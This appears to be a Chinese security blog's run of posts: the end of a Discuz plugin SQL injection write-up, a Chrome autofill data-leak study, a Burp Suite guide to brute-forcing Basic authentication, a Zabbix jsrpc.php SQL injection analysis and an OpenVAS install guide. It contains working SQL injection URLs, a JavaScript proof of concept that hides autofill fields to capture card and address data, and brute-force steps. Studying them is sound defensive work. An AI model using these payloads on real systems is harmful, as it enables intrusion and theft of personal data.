http://discuz3.localhost/plugin.php?id=jameson_read:readmain&orderfield=extractvalue(1,%20concat(0x3a,%20version()))%20

14873292202399.jpg

这里感谢@mLT 以及@雨了个雨 师傅不吝赐教。

结语

Discuz是当下比较火的一个论坛社区程序,很多的网站,尤其是某些建站公司为了完成目标,肆意使用各种插件,甚至是没有经过官方审核的第三方插件(当然,经过审核的也会出现安全问题),导致原本很安全的Discuz变得脆弱。

使用第三方的插件,还是找时间多review code比较好呀。

作者:@王松_Striker   时间:January 17, 2017

Chrome中“自动填充”安全性研究

昨天看到了一篇关于Chrome自动填充安全相关的文章。

文章中提到:“自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息

效果如下图:

autofill

并提供了一段js来演示漏洞:

var autocompletes = ['name', 'honorific-prefix', 'given-name',
  'additional-name', 'family-name', 'honorific-suffix',
  'nickname', 'username', 'new-password',
  'current-password', 'organization-title', 'organization',
  'street-address', 'address-line1', 'address-line2',
  'address-line3', 'address-level4', 'address-level3',
  'address-level2', 'address-level1', 'country',
  'country-name', 'postal-code', 'cc-name', 'cc-given-name',
  'cc-additional-name', 'cc-family-name', 'cc-exp',
  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
  'transaction-currency', 'transaction-amount',
  'language', 'bday', 'bday-day', 'bday-month',
  'bday-year', 'sex', 'url', 'photo', 'tel',
  'tel-country-code', 'tel-national',
  'tel-area-code', 'tel-local', 'tel-local-prefix',
  'tel-local-suffix', 'tel-extension', 'impp'
];

emailField.addEventListener('focus', function() {
  var wrap = autocompletes.reduce(function(wrapper, field) {
    var input = document.createElement('input');
    
    // Make them not focussable
    input.tabIndex = -1;
    input.autocomplete = field;
    
    wrapper.appendChild(input);
    return wrapper;
  }, document.createElement('div'));

  // Hide the wrapper
  wrap.classList.add('hidden');
  form.appendChild(wrap);

  // Inject the autocompletes once
  this.removeEventListener('focus', arguments.callee);
});

我在测试以后并没有成功复现该漏洞(因为只提供了js代码,html并没有提供,稍微改了改代码也没有达到想要实现的效果)。

但是通过上述js代码,基本能看出来是什么样的原理。

autocomplete

html中要实现浏览器中的表单自动填充主要依靠于autocomplete属性。

起初autocomplete属性只支持onoff。比如下面代码:

<form action="demo_form.asp" method="get" autocomplete="on">
  First name:<input type="text" name="fname" /><br />
  Last name: <input type="text" name="lname" /><br />
  E-mail: <input type="email" name="email" autocomplete="off" /><br />
  <input type="submit" />
</form>

如上代码对开启了整个表单的autocomplete却对email关闭了autocomplete,所以我们在点击非email的其他表单即可打开自动填充功能:

14846366763500.jpg

但在email中却不能展开自动填充功能:

14846366599158.jpg

后来HTML5标准加入了对autocomplete的支持,并且给autocomplete加入了更多的标示符,以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。

比如如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <fieldset>
         <legend>My Shop</legend>
         <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
         <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
         <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
         <p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
        </fieldset>
    </body>
</html>

我在autocomplete属性中写入了语义化的字符,比如namestreet-address等。

浏览器即可准确的把相应的信息填入到相应的表单中。

14846368670524.jpg

恶意利用

如果能在用户不知情的情况下,拿到用户浏览器存储的其他信息,即可造成很可怕的后果,那么我们就得让用户看不见我们的输入框就好了。

通过如上demo我们可以发现,当我们选择自动填充以后,chrome不仅会把当前表单字段填充到input中,也会把其他表单字段填充到input中。

type=hidden

那么如果我们写一些typehiddeninput标签,并且加上autocomplete属性,chrome是否会自动补上带有hidden属性的input标签的信息呢呢。

我们使用如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
             <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
             <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
             <p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我们将第一个姓名字段设置为hidden,然后使用自动填充,并且提交表单,查看请求包:

14846375314778.jpg

发现type属性为hidden的表单并没有获取到,但其他非hiddend的信息都拿到了。

display:none;

既然type设置成hidden浏览器不给信息,那么我们如果让这个input表单让用户看不见,但浏览器认识呢?比如如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="display:none;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我们在表单外层放一个div,让整个div,display:none

14846378702541.jpg

然而也是不行的:

14846378833742.jpg

看来chrome已经在这里做了足够的手脚来防护这样的问题。

其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。

看来现在已经被修复了。那么我们就没有其他办法实现了吗?

让用户看不见,浏览器认识的魔法

我们现在要做的无疑是让浏览器认识且没有做防护,并且让用户看不见这个表单,我们的任务就达到了。

这样的办法有很多,比如这样:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="margin-left:-1000px;height:0px;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

效果如下:

14846381247675.jpg

bingo!!

14846381468753.jpg

实现让用户看不见,浏览器却认识的办法很多很多。

比如上面的,比如脱离文档流,比如使用表单的所有东西设置成白色(让用户肉眼看不见即可),比如使用z-index调到下层,等等等等……

最终POC

var autocompletes = ['name', 'honorific-prefix', 'given-name',
    'additional-name', 'family-name', 'honorific-suffix',
    'nickname', 'username', 'new-password',
    'current-password', 'organization-title', 'organization',
    'street-address', 'address-line1', 'address-line2',
    'address-line3', 'address-level4', 'address-level3',
    'address-level2', 'address-level1', 'country',
    'country-name', 'postal-code', 'cc-name', 'cc-given-name',
    'cc-additional-name', 'cc-family-name', 'cc-exp',
    'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
    'transaction-currency', 'transaction-amount',
    'language', 'bday', 'bday-day', 'bday-month',
    'bday-year', 'sex', 'url', 'photo', 'tel',
    'tel-country-code', 'tel-national',
    'tel-area-code', 'tel-local', 'tel-local-prefix',
    'tel-local-suffix', 'tel-extension', 'impp'
    ];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";

for (x in autocompletes){
    var tmpInput = document.createElement('input');
    tmpInput.name = autocompletes[x];
    tmpInput.autocomplete = autocompletes[x];
    mydiv.appendChild(tmpInput);
}

myform.appendChild(mydiv);

在线测试地址:http://www.hackersb.cn/poc/autofill/

参考资料

  1. HTML标准 - 表单自动填充
  2. SegmentFault
作者:@王松_Striker   时间:December 8, 2016

使用burpsuite对基础认证进行爆破

很多小伙伴不知道怎么使用burpsuite对基础认证进行报错,这次工作中遇到了,刚好写篇文章记录一下,更是为了分享给不知道的小伙伴。

基础认证

有的人可能不知道基础认证是啥,但我相信你一定在实战中遇到过,比如tomcat的manager平台的登录验证:

1.png

基础认证的数据包跟往常的POST和GET的包认证方式不一样,他的请求包是像下面这样的格式:

GET /manager/html HTTP/1.1
Host: www.xxx.com
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic YWRtaW46MTIzNDU2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ko;q=0.2
Cookie: JSESSIONID=xxxxxxxxx;

其中Authorization这一行才是认证的重点:

Authorization: Basic YWRtaW46MTIzNDU2

我们可以看到他的数据包是经过加密以后才发送出去的,并且前面有加上Basic字样。

并且加密方式是base64:

2.png

解密以后的格式是:

账号:密码

这样的认证方式可是难倒了很多人,也有一些人问过我,今天刚好写篇博文科普一下。

用burpsuite爆破

burpsuite简单的爆破如果都不会的话,还是建议看一看官方文档,再来看我这个吧。

首先我们把认证的请求包发送到intruder中,然后设置好要爆破的地方,这里直接把整个base64选中,然后点add $

3.png

设置payload这里跟平常爆破POST包和get包的有一丁点不一样,payload type选择Custom iterator

4.png

Custom iterator翻译成中文就是自定义迭代器,官方文档上有详细的描述,我这里摘抄过来给大家:

Custom Iterator

This payload type lets you configure multiple lists of items, and
generate payloads using all permutations of items in the lists. It
provides a powerful way to generate custom permutations of characters
or other items according to a given template. For example, a payroll
application may identify individuals using a personnel number of the
form AB/12; you may need to iterate through all possible personnel
numbers to obtain the details of all individuals.

The custom iterator defines up to 8 different "positions" which are
used to generate permutations. Each position is configured with a list
of items, and an optional "separator" string, which is inserted
between that position and the next. In the example already mentioned,
positions 1 and 2 would be configured with the items A - Z, positions
3 and 4 with the items 0 - 9, and position 2 would be set with the
separator character /. When the attack is executed, the custom
iterator iterates through each item in each position, to cover all
possible permutations. Hence, in this example, the total number of
payloads is equal to 26 * 26 * 10 * 10.

The list items can be edited in the same way as described for the
simple list payload type. The "Clear all" button removes all
configuration from all positions of the custom iterator.

The "Choose a preset scheme" drop-down menu can be used to select a
preconfigured setup for the custom iterator. These can be used for
various standard attacks or modified for customized attacks. Available
schemes are "directory / file . extension", which can be used to
generate URLs, and "password + digit" which can be used to generate an
extended wordlist for password guessing attacks.

官方文档大意是说我们可以灵活的组合payload,官方举得例子是我们可以组合类似于AB/12这样的payload

当然这也就刚好适用于我们要爆破的基础认证,把AB/12中间的/换成:,再base64加密一下,不就是基础认证了吗?

基础认证的格式如下:

username:password

一共分为三个部分:

  1. 用户名
  2. :(冒号)
  3. 密码

我们一个一个来设置,我们先设置自定义迭代器的第一组payload,设置为账号:

5.png

我这里使用load功能从文件中载入了一些账号,也可以自己手动添加,这样第一组payload就设置好了。

第二组payload只有一个值,就是冒号,所以我们如下设置:

6.png

第二组就设置OK了。

第三组的设置跟第一组几乎是一模一样的,按自己需求就可以:

7.png

现在三组payload都设置好了,还有最后最重要的一步:base64加密!

8.png

Payload Processing中点击add添加相应的加密就可以。

在最后的Payload Encoding中可以选择是否urlencode加密特殊字符,基础认证是不需要urlencode的,所以可以取消掉这个对号。

9.png

最后点击Start Attack开始攻击即可!

10.png

使用burpsuite对基础认证进行爆破 bingo !!

这里只是对intruder功能的一个小扩展,可以灵活运用在实战中

参考文档

作者:@王松_Striker   时间:August 22, 2016

Zabbix SQL注入漏洞分析

zabbix sql注入漏洞爆出来已有好几天了,最近忙于安全盒子用户中心的设计,一直没有去研究这个注入,今天早起,闲暇时间写下该文。

zabbix简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

影响版本

2.0.x
3.0.x

我这里的分析的版本是3.0.3,据说3.0.4已修复该漏洞。

漏洞分析

jsrpc.php中从url中获取了type,并且把$_REQUEST赋值给了$data,相关代码(第24行开始):

$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    $data = $_REQUEST;
}

随后40行有一些条件,不满足就会exit,但是很好绕过,代码如下:

if (!is_array($data) || !isset($data['method'])
        || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
    fatal_error('Wrong RPC call to JS RPC!');
}

再往下是一个传入$data['method']的switch语句,部分代码如下(第46行开始):

switch ($data['method']) {
    case 'host.get':
        $result = API::Host()->get([
            'startSearch' => true,
            'search' => $data['params']['search'],
            'output' => ['hostid', 'host', 'name'],
            'sortfield' => 'name',
            'limit' => 15
        ]);
        break;

    case 'message.mute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 1;
        updateMessageSettings($msgsettings);
        break;

    case 'message.unmute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 0;
        updateMessageSettings($msgsettings);
        break;

    case 'message.settings':
        $result = getMessageSettings();
        break;

第181行传入CScreenBuilder::getScreen($data);,代码如下:

case 'screen.get':
    $result = '';
    $screenBase = CScreenBuilder::getScreen($data);
    if ($screenBase !== null) {
        $screen = $screenBase->get();

        if ($data['mode'] == SCREEN_MODE_JS) {
            $result = $screen;
        }
        else {
            if (is_object($screen)) {
                $result = $screen->toString();
            }
        }
    }
    break;

跟进查看,发现CScreenBuilder的构造函数从url中接收了profileIdx2赋值给$this->profileIdx2并且带入CScreenBase::calculateTime执行,代码如下:

// calculate time
$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

$this->timeline = CScreenBase::calculateTime([
    'profileIdx' => $this->profileIdx,
    'profileIdx2' => $this->profileIdx2,
    'updateProfile' => $this->updateProfile,
    'period' => !empty($options['period']) ? $options['period'] : null,
    'stime' => !empty($options['stime']) ? $options['stime'] : null
]);

跟进calculateTime函数,461行对CProfile进行了更新,但是并没有进行SQL查询:

if ($options['updateProfile'] && !empty($options['profileIdx'])) {
    CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
}

然而最终造成SQL注入的是最后一行:

require_once dirname(__FILE__).'/include/page_footer.php';

这个文件里第38行对CProfile进行了更新,代码如下:

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

跟进CProfile::flush(),把数据进行了遍历然后带入self::insertDB()

public static function flush() {
    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
        $result = true;

        foreach (self::$insert as $idx => $profile) {
            foreach ($profile as $idx2 => $data) {
                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
            }
        }

        ksort(self::$update);
        foreach (self::$update as $idx => $profile) {
            ksort($profile);
            foreach ($profile as $idx2 => $data) {
                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
            }
        }
    }

    return $result;
}

跟进self::insertDB()即可看到$idx2没有过滤带入SQL查询:

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

最后的DBexecute()里面也只是调用了mysqli_query执行sql而已。

至此,SQL注入形成。

然后构造语句,满足各种条件,让程序按照逻辑进入该出,即可注入:

http://localhost:8080/jsrpc.php?sid=111&type=3&method=screen.get&timestamp=111&mode=111&screenid=&groupid=&hostid=0&pageFile=111&profileIdx=web.item.graph&profileIdx2=1%20xor(select%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&updateProfile=true&screenitemid=&period=1&stime=1&resourcetype=17&itemids=1&action=1&filter=&filter_task=&mark_color=1

注入效果如图:

1.png

这里是insert注入,而且没有单引号,直接使用xor()在里面用任意报错注入语句即可注入。

修复建议

  • 升级版本至3.0.4
  • 使用intval函数过滤insertDB中的$idx2
作者:@王松_Striker   时间:June 1, 2016

Ubuntu14.04安装openVAS

挖洞的时候突然想到应该装一个openvas,以前都是装nessus来着,第一次装openvas不知道能不能成功~

安装openvas

首先在官网看到了ubuntu的PPA源,然后就加了一下

sudo add-apt-repository -r ppa:mrazavi/openvas

然后更新

sudo apt-get update

然后把openvas相关的组件都装上

sudo apt-get install openvas*

官方提示需要sqlite3,于是安装一下

sudo apt-get install sqlite3

到这里就安装OK了

更新openvas脚本/数据

直接运行下面的命令会自动下载各种数据和脚本证书啥的:

sudo openvas-nvt-sync

这个下载时间比较长,似乎会从09年的漏洞脚本开始下载,一直下载到2016年..... 慢慢等....

启动openvas

按照英文文档 发现很多都不一样

然后看到service里面有openvas-server

于是执行

sudo service openvas-server restart

随后添加一个用户

sudo openvas-adduser

  • 第一次输入要添加的账号
  • 第二次直接回车(这个是证书)
  • 第三次输入密码
  • 第四次确认密码
  • ctrl+d
  • 按y添加用户

然后打开openvas-client,直接命令行输入:

sudo openvas-client

直接点击连接图标(在垃圾桶图标的后面),然后输入账号密码,进行第一次初始化,比较慢~

大概是这样~

2016-06-01 00:17:04屏幕截图.png

完成以后就可以新建目标开始使用啦~~